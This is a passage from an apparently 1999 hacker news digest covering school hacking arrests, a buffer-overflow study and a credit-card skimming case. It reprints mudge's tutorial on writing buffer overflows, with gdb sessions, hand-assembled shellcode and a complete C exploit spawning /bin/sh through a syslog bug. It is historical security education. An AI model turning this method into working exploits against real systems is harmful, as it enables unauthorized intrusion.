school computer was doing more than his assignment. "It was one of those things where you walk over to the student and they either shut down the machine or do something very quickly," said Elk Island technology services director Edna Dach. "The teacher phoned us and we were able to check the logs." Dach said records showed the computer user was trying to download hacking software which would enable him to break into the school's administrative files. Dach believes the student just wanted to see if he could crack the computer system, rather than change his grades or wreak high-tech havoc. "But it's vandalism according to our school policy," she said. "What you're doing is, you're trying to vandalize something." RCMP have charged the student, whose age was not released, with unauthorized use of a computer. @HWA 23.0 Students Questioned About SPAM ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench Two students at Southridge High School in Beaverton Oregon, have been accused of trying to overload the school's computer system with junk e-mail. They have also been accused of trying to break into the schools computer systems. The case has been referred to the Washington County juvenile justice department. Yahoo News - Anyone have a better link for this? http://dailynews.yahoo.com/headlines/local/state/oregon/story.html?s=v/rs/19991123/or/index_2.html#7 High School `Hackers' Questioned - (BEAVERTON) -- Two Southridge High School students have some explaining to do. School officials say the pair tried to overload the schools computer system with junk e-mail. The students also tried to hack into school files. The case has been referred to the Washington County juvenile justice department. @HWA 24.0 Students Fined for Unauthorized Access ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This sounds awful familiar, but i'm not sure if its the same story it involves some shoulder-surfing of a teacher and using the pilfered password to gain internet access, sound familiar? how many passwords are lost this way? same as calling card numbers at pay phones probably anyway this is hacking? ... - Ed From HNN http://www.hackernews.com/ contributed by Evil Wench Four students at North View Secondary school in Singapore have been either fined or given probation for unauthorized Internet usage. After shoulder surfing the password from a teacher the four students used it to gain unauthorized access to the internet for up to five months before discovered. The Straits Times http://www.straitstimes.asia1.com/cyb/cyb1_1123.html NOV 23 1999 Teen fined for illegal Net access STOLEN-PASSWORD CASE A STUDENT who accessed his school's Internet accounts by sneaking a look over the shoulder of a computer coordinator was fined $2,000 yesterday. Tan Koon Wei, 19, and four of his fellow students at North View Secondary had conspired to steal the password from computer coordinator David Chia Hock Boon in early 1997. His four accomplices were either fined or given probation by the district court last month. The court heard yesterday that of the school's three Internet accounts, two were for students. But they had to get Mr Chia to log on for them. In January 1997, after the coordinator had changed the passwords for all three accounts, Tan and his four friends asked if he would log on for them. While Mr Chia was keying in the password, Tan peeped over his shoulder and memorised it. Then, for about five months or so, Tan misused the school accounts by using the stolen password to surf the Internet from his home computer. Tan's lawyer, Mr N. Deepak, said yesterday that his client was a bright student. He asked if probation could be considered as Tan was a first offender and had not used the password to hack into the system. District Judge Seng Kwang Boon said he doubted whether probation would be appropriate under the Misuse of Computer Act. He fined Tan $2,000 for unauthorised use of the Internet service, taking two other similar charges into consideration. Tan, who is now a polytechnic student, could have been jailed two years on top of the fine. In a separate case yesterday, a former project engineer with Strategic Technologies was also fined $2,000 for using the company's password to surf the Internet after she was no longer its employee. Nancy Ong, 31, now a sales and marketing manager with another company, committed the offence between Dec 1997 and April last year. Her lawyer, Mr Kelvin Lim, told the court that she was a first-time offender who had not been involved in the more serious offence of hacking into a computer system. He added that Ong had apologised to her former company in April last year and offered to compensate it for the loss, but was told by a company director that it was a small matter. @HWA 25.0 Buffer Overflows Called Most Common Security Hole (No shit) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ What about bad C 'coders' ? there are certain rules of thumb when writing a secure C program especially one that interacts with the internet populace (this includes CGI's and PERL scripts) but people insist on ignoring them presumeably to get the code out on the street as fast as possible, what we need is some QC - Ed From HNN http://www.hackernews.com/ contributed by Maggie The Oregon Graduate Institute of Science & Technology has released a paper, funded in part by the Defense Advanced Research Projects Agency, entitled "Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade" The paper labels Buffer Overflows, the act of feeding more information into a program than it can handle, as the number one security threat to the internet today. (Glad our hard earned tax dollars funded a study that figured out what everyone already knew.) C|Net http://news.cnet.com/news/0-1003-200-1462855.html?tag=st.ne.1002. Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade - PDF http://immunix.org/StackGuard/discex00.pdf Mudge's Breakthrough Paper on Buffer Overflows http://www.l0pht.com/advisories/bufero.html @HWA C|net; Study says "buffer overflow" is most common security bug By Paul Festa Staff Writer, CNET News.com November 23, 1999, 2:25 p.m. PT Quick: What's the computer vulnerability of the decade? It's not the Y2K bug, according to computer science and security analysts, but a security weakness known as the buffer overflow. Unlike the Y2K bug, which threatens to cripple computers unable to distinguish years written in two-digit shorthand, this vulnerability opens computers to attacks by malicious hackers, who can use the bug to commandeer the targeted computer. In a buffer overflow, the attacker floods a field, typically an address bar, with more characters than it can accommodate. The excess characters in some cases can be run as "executable" code, effectively giving the attacker control of the computer without being constrained by security measures. "Buffer overflows have been the most common form of security vulnerability for the past 10 years," according to a new paper published by the Oregon Graduate Institute of Science & Technology (OGI) and funded in part by the Defense Advanced Research Projects Agency (DARPA). "Because these kinds of attacks enable anyone to take total control of a host, they represent one of the most serious classes of security threats." Security analysts agree that the first step in cutting down on buffer overflow bugs is for people to engage in more careful computer programming. Programmers can protect their products against buffer overflow attacks simply by including instructions for handling overlong strings, according to Alan Paller, director of research for the System Administration, Networking and Security Institute (SANS). "It all comes back to one programmer being careless," Paller said. "You wrote a program, asked someone for input, gave them space for a certain amount of characters, and didn't check to see if the program could take more. You are incompetent, and you are the problem. One guy making that mistake is creating all the work for the rest of us." The OGI paper identified careful coding as the first line of defense against buffer overflows, but it said that was easier said than done considering today's programming languages and sloppy programming culture. "Writing correct code is a laudable but remarkably expensive proposition, especially when writing in a language such as C that has error-prone idioms," the authors wrote. They also cited "a culture that favors performance over correctness." To combat careless coding, programmers have developed debugging tools that search out buffer overflow vulnerabilities, according to the paper. Other defenses the paper cites prevent code from being executed in the address space or establish boundaries that prevent excess characters from moving to locations where they can be executed. The paper's conclusions recommend implementing a combination of defenses against the vulnerability. Software vendors are ultimately responsible for the buffer overflow problem, and customers should hold them accountable, Paller said. "Liability goes back to [Microsoft chief executive] Bill Gates and [Sun Microsystems chief executive] Scott McNealy," Paller said. "Until people stop being so generous with the suppliers, this problem isn't going away." Sun concurred that the buffer overflow problem is both common and preventable but defended its efforts to prevent coding errors and to respond to bugs once they come to light. "It's quite correct that the problem stems from programming methodologies, and in our case we have been implementing a fairly comprehensive program to go through our software and check it out for vulnerabilities like buffer overflows," said Tom Goguen, group manager for Sun's Solaris Web server for commercial sites. "We're also developing tools to do some automated checking of the software and tools to prevent any further problems like this." Goguen downplayed the hazard posed by most buffer overflows encountered by Sun. He said they tended to open servers up to denial-of-service attacks, which cause computers to crash and shut off service to users, rather than open them up to invasion and control by the attacker. Microsoft, which last week patched a buffer overflow issue in its Windows operating system, was not immediately available for comment. Part of the problem is that programmers have let down their guard against a long-recognized hazard, according to one academic. "We're not learning the lessons of the past," said Matt Bishop, associate professor of computer science at the University of California at Davis and author of an upcoming book on computer security. "We knew how to handle buffer overflows in the 1960s and '70s. But the solutions that were required typically either used hardware or were implemented within the program itself. Some felt it made the program go too slow, so a lot of programs went out there without buffer checks, and now we're paying the price." The OGI paper will be read at DARPA's Information Survivability Expo at Hilton Head Island, S.C., and at the SANS 2000 event in Orlando, Fla. The lead author for the OGI study, Crispin Cowan, in September became chief technology officer of WireX, a server software firm that will sell StackGuard, one of the buffer overrun solutions described in the paper. Cowan remains a part-time professor at OGI. Mudge's Overflow paper (Included since its relatively short although I realize most of you have probably read it already you should perhaps READ IT AGAIN.) How to write Buffer Overflows This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself. -by mudge@l0pht.com 10/20/95 test out the program (duh). --------syslog_test_1.c------------ #include char buffer[4028]; void main() { int i; for (i=0; i<=4028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } --------end syslog_test_1.c---------- Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today. bash$ gcc -g buf.c -o buf bash$ buf Segmentation fault (core dumped) The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly. Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows: bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141) Ok, this is good. The 41's you see are the hex equivallent for the ascii character 'A'. We are definately going places where we shouldn't be. (gdb) info all-registers eax 0xefbfd641 -272640447 ecx 0x00000000 0 edx 0xefbfd67c -272640388 ebx 0xefbfe000 -272637952 esp 0xefbfd238 0xefbfd238 ebp 0xefbfde68 0xefbfde68 esi 0xefbfd684 -272640380 edi 0x0000cce8 52456 eip 0x00001273 0x1273 ps 0x00010212 66066 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands. In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following: (gdb) disassemble 0x1273 [stuff deleted] 0x1267 : incl 0xfffff3dc(%ebp) 0x126d : testb %al,%al 0x126f : jne 0x125c 0x1271 : jmp 0x1276 0x1273 : movb %al,(%ebx) 0x1275 : incl %ebx 0x1276 : incl %edi 0x1277 : movb (%edi),%al 0x1279 : testb %al,%al If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles and on we go. Note also that Intel assembler let's go back and tweak the original source code some eh? -------------syslog_test_2.c------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -----------end syslog_test_2.c------------- We're just shortening the length of 'A''s. bash$ gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 5, Trace/BPT trap 0x1001 in ?? (Error accessing memory address 0x41414149: Cannot allocate memory. This is the magic response we've been looking for. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 <- here it is!!! esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x00001001 0x1001 ps 0x00000246 582 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite eip completely. ---------syslog_test_3.c---------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -------end syslog_test_3.c------------ bash$ !gc gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x41414141 in errno (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x41414141 0x41414141 ps 0x00010246 66118 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 BINGO!!! Here's where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need? We find this by looking at the contents of buffer[]. (gdb) disassemble buffer [stuff deleted] 0xc738 : incl %ecx 0xc739 : incl %ecx 0xc73a : incl %ecx 0xc73b : incl %ecx 0xc73c : addb %al,(%eax) 0xc73e : addb %al,(%eax) 0xc740 : addb %al,(%eax) [stuff deleted] On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them. The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think ;-)]. The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon succesfully running your created code you might be dropped back into a big void. Deal with it. The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler. Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called __asm__(char *); I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for. ------nop.c-------- void main(){ __asm__("nop\n"); } ----end nop.c------ bash$ gcc -g nop.c -o nop bash$ gdb nop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : nop 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x90 Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex). Our program now looks like this: ------ syslog_test_4.c--------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]=0x90; i=2024; buffer[i++]=0x3c; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } ------end syslog_test_4.c------- Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00. Now the question we have is what is the code we insert from here on? Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggie we want to execute in C code: ------execute.c-------- #include main() { char *name[2]; name[0] = "sh"; name[1] = NULL; execve("/bin/sh",name,NULL); } ----end execute.c------- bash$ gcc -g execute.c -o execute bash$ execute $ Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop: bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10b8: 0x1088 : pushl %ebp 0x1089 : movl %esp,%ebp 0x108b : subl $0x8,%esp 0x108e : movl $0x1080,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1083 0x10a7 : call 0x10b8 0x10ac : leave 0x10ad : ret 0x10ae : addb %al,(%eax) 0x10b0 : jmp 0x1140 0x10b5 : addb %al,(%eax) 0x10b7 : addb %cl,0x3b05(%ebp) End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: to 0x10c8: 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 0x10c5 : jb 0x10b0 0x10c7 : ret End of assembler dump. This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch). 0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve. (gdb) x/10bc 0x1083 0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\000' (0x1080 contains the arguments...which I haven't been able to really clean up). We will replace this address with the one where our string lives [when we decide where that will be]. Here's the skeleton we will use from the execve disassembly: [main] 0x108d : movl %esp,%ebp 0x108e : movl $0x1083,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1080 [execve] 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necesary but I have it in still as I haven't fine tuned this yet. I clean up eax. I don't remember why I do this and it shouldn't really be necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after I tune this up a bit. xorl %eax,%eax We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack. jmp 0x???? # this will jump to the call... popl %esi popl %ecx The call back will be something like: call 0x???? # this will point to the instruction after the jmp (ie # popl %esi) All put together it looks like this now: ---------------------------------------------------------------------- movl %esp,%ebp xorl %eax,%eax jmp 0x???? # we don't know where yet... # -------------[main] movl $0x????,0xfffffff8(%ebp) # we don't know what the address will # be yet. movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl $0x???? # we don't know what the address will # be yet. # ------------[execve] leal 0x3b,%eax lcall 0x7,0x0 call 0x???? # we don't know where yet... ---------------------------------------------------------------------- There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions. Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it. # ------------[execve] pushl %ecx leal 0x3b,%eax lcall 0x7,0x0 The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there]. So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string): movl %esp,%ebp xorl %eax,%eax # we added this jmp 0x???? # we added this popl %esi # we added this popl %ecx # we added this movl $0x????,0xfffffff5(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffffc(%ebp),%eax # we changed this pushl %eax pushl $0x???? leal 0x3b,%eax pushl %ecx # we added this lcall 0x7,0x0 call 0x???? # we added this To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program. bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10bc: 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp 0x1092 : movl $0x1080,0xfffffff8(%ebp) 0x1099 : movl $0x0,0xfffffffc(%ebp) 0x10a0 : pushl $0x0 0x10a2 : leal 0xfffffff8(%ebp),%eax 0x10a5 : pushl %eax 0x10a6 : pushl $0x1083 0x10ab : call 0x10bc 0x10b0 : leave 0x10b1 : ret 0x10b2 : addb %al,(%eax) 0x10b4 : jmp 0x1144 0x10b9 : addb %al,(%eax) 0x10bb : addb %cl,0x3b05(%ebp) End of assembler dump. [get out your scratch paper for this one... ] 0x108d : movl %esp,%ebp this goes from 0x108d to 0x108e. 0x108f starts the next instruction. thus we can see the machine code with gdb like this. (gdb) x/2bx 0x108d 0x108d : 0x89 0xe5 Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address. When I work this out I break down the whole program so I can see what's going on. Something like the following 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp (gdb) x/bx 0x108c 0x108c : 0x55 (gdb) x/bx 0x108d 0x108d : 0x89 (gdb) x/bx 0x108e 0x108e : 0xe5 (gdb) x/bx 0x108e 0x108f : 0x83 so we see the following from this: 0x55 pushl %ebp 0x89 movl %esp,%ebp 0xe5 0x83 subl $0x8,%esp etc. etc. etc. For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs. ----pop.c------- void main() { __asm__("popl %esi\n"); } ---end pop.c---- bash$ gcc -g pop.c -o pop bash$ gdb pop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : popl %esi 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x5e So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'. After you have built up the string, tack on the chars for sh\0\0/bin/sh\0. Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call. (gdb) break syslog Breakpoint 1 at 0x1463 (gdb) run Starting program: /usr2/home/syslog/buf Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 0xefbfdeac) (gdb) disassemble 0xc73c 0xc77f (we know it will start at 0xc73c since thats right after the eip overflow... 0xc77f is just an educated guess as to where it will end) (gdb) disassemble 0xc73c 0xc77f Dump of assembler code from 0xc73c to 0xc77f: 0xc73c : movl %esp,%ebp 0xc73e : xorl %eax,%eax 0xc740 : jmp 0xc76b 0xc742 : popl %esi 0xc743 : popl %ecx 0xc744 : movl $0xc770,0xfffffff5(%ebp) 0xc74b : movl $0x0,0xfffffffc(%ebp) 0xc752 : pushl $0x0 0xc754 : leal 0xfffffffc(%ebp),%eax 0xc757 : pushl %eax 0xc758 : pushl $0xc773 0xc75d : leal 0x3b,%eax 0xc763 : pushl %ecx 0xc764 : lcall 0x7,0x0 0xc76b : call 0xc742 0xc770 : jae 0xc7da 0xc772 : addb %ch,(%edi) 0xc774 : boundl 0x6e(%ecx),%ebp 0xc777 : das 0xc778 : jae 0xc7e2 0xc77a : addb %al,(%eax) 0xc77c : addb %al,(%eax) 0xc77e : addb %al,(%eax) End of assembler dump. Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is. (gdb) x/13bc 0xc770 0xc770 : 115 's' 104 'h' 0 '\000' 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000' Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug. bash$ buf $ exit (do whatever here... you spawned a shell!!!!!! yay!) bash$ Here's my original program with lot's of comments: /*****************************************************************/ /* For BSDI running on Intel architecture -mudge, 10/19/95 */ /* by following the above document you should be able to write */ /* buffer overflows for other OS's on other architectures now */ /* mudge@l0pht.com */ /* */ /* note: I haven't cleaned this up yet... it could be much nicer */ /*****************************************************************/ #include char buffer[4028]; void main () { int i; for(i=0; i<2024; i++) buffer[i]=0x90; /* should set eip to 0xc73c */ buffer[2024]=0x3c; buffer[2025]=0xc7; buffer[2026]=0x00; buffer[2027]=0x00; i=2028; /* begin actuall program */ buffer[i++]=0x89; /* movl %esp, %ebp */ buffer[i++]=0xe5; buffer[i++]=0x33; /* xorl %eax,%eax */ buffer[i++]=0xc0; buffer[i++]=0xeb; /* jmp ahead */ buffer[i++]=0x29; buffer[i++]=0x5e; /* popl %esi */ buffer[i++]=0x59; /* popl %ecx */ buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xf5; buffer[i++]=0x70; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x6a; /* pushl $0x0 */ buffer[i++]=0x00; #ifdef z_out buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xf8; #endif /* the above is what the disassembly of execute does... but we only want to push /bin/sh to be executed... it looks like this leal puts into eax the address where the arguments are going to be passed. By pointing to 0xfffffffc(%ebp) we point to a null and don't care about the args... could probably just load up the first section movl $0x0,0xfffffff8(%ebp) with a null and left this part the way it want's to be */ buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x50; /* pushl %eax */ buffer[i++]=0x68; /* pushl $0xc773 */ buffer[i++]=0x73; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x8d; /* lea 0x3b,%eax */ buffer[i++]=0x05; buffer[i++]=0x3b; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x51; /* pushl %ecx */ buffer[i++]=0x9a; /* lcall 0x7,0x0 */ buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x07; buffer[i++]=0x00; buffer[i++]=0xe8; /* call back to ??? */ buffer[i++]=0xd2; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]='/'; buffer[i++]='b'; buffer[i++]='i'; buffer[i++]='n'; buffer[i++]='/'; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } Copyright 1995, 1996 LHI Technologies, All Rights Reserved @HWA 26.0 Palm Pilot Used In Credit Card Theft ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Arik A Bloomingdale's cashier has been charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property, all of which are felonies. The charges came after 26 year old Tania Ventura used a magnetic stripe reader attached to a Palm Pilot to record the credit card information of customers at the store. (Why go to all the trouble of using a Palm Pilot when a pen and paper would be so much easier and would allow the copying of the information when the customer was not around to catch you. The only reason this made news was because a Palm Pilot was involved.) Washington Post http://www.washingtonpost.com/wp-srv/aponline/19991124/aponline102449_000.htm CNN http://www.cnn.com/TECH/ptech/9911/24/creditcardscam.ap/index.html Washington Post; Alleged NYC Credit Card Scam Foiled By Donna De La Cruz Associated Press Writer Wednesday, Nov. 24, 1999; 10:24 a.m. EST NEW YORK –– A sharp-eyed tourist from Greece buying sunglasses at Bloomingdale's foiled an alleged credit card scam that may have affected a large number of shoppers. Police Commissioner Howard Safir said Tuesday an investigation is continuing to determine how many credit card numbers are stored on a Palm Pilot – a hand-held electronic organizer – that is believed to belong to Tania Ventura, a 26-year-old cashier at the swank East Side department store. The scam was discovered Monday when the tourist, a financial analyst whose name was not released, noticed his card was swiped twice when he purchased sunglasses. "He asked what this was about, and he did not get a sufficient explanation, so he complained to the manager, and the manager then called us," Safir said. After swiping a credit card through the store's credit card device, Ventura allegedly swiped it a second time through a credit card scanner attached to her Palm Pilot, Safir said. "This device is capable of storing thousands of credit card numbers, and obviously, this individual was involved in stealing people's credit card numbers to sell or use for fraudulent purposes," Safir said. Ventura was charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property – all felony charges. She could face up to seven years in prison if convicted. Safir urged shoppers never to let credit cards out of their sight once they give on to a cashier. This is the first time police have seen the practice in New York City, Safir added. Bloomingdale's spokeswoman Bonnie Brownlee said the company is cooperating fully with the police. She declined to comment further because the case is pending in court. © Copyright 1999 The Associated Press CNN; Cashier uses Palm Pilot in credit card scam November 24, 1999 Web posted at: 11:34 AM EST (1634 GMT) NEW YORK (AP) -- A sharp-eyed tourist from Greece buying sunglasses at Bloomingdale's foiled an alleged credit card scam that may have affected a large number of shoppers. Police Commissioner Howard Safir said Tuesday an investigation is continuing to determine how many credit card numbers are stored on a Palm Pilot that is believed to belong to Tania Ventura, a 26-year-old cashier at the swank Manhattan department store. The scam was discovered Monday when the tourist, a financial analyst whose name was not released, noticed his card was swiped twice when he purchased sunglasses. "He asked what this was about, and he did not get a sufficient explanation, so he complained to the manager, and the manager then called us," Safir said. After swiping a credit card through the store's credit card device, Ventura allegedly swiped it a second time through a credit card scanner attached to her Palm Pilot, Safir said. "This device is capable of storing thousands of credit card numbers, and obviously, this individual was involved in stealing people's credit card numbers to sell or use for fraudulent purposes," Safir said. Ventura was charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property -- all felony charges. She could face up to seven years in prison if convicted. Safir urged shoppers never to let credit cards out of their sight once they give on to a cashier. This is the first time police have seen the practice in New York City, Safir added. Bloomingdale's spokeswoman Bonnie Brownlee said the company is cooperating fully with the police. She declined to comment further because the case is pending in court. @HWA 27.0 Zero Knowledge on 60 Minutes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by dov Austin Hill, president of Internet privacy company Zero-Knowledge Systems, will be one of several experts talking to '60 Minutes' correspondent Lesley Stahl about the privacy implications of online profiling and data collection, and the scrutiny Internet users unintentionally open themselves to when going online. The show is scheduled to air Sunday, November 28, 1999. 7:00 PM ET/PT. Zero Knowledge Systems http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542 @HWA 28.0 HotMail Fingers Bomber ~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench The FBI was able to arrest George Rocha of Greensboro North Carolina after he accessed his HotMail account from his home. He has been accused of planting bombs and extorting money from Lowe's Home Improvement 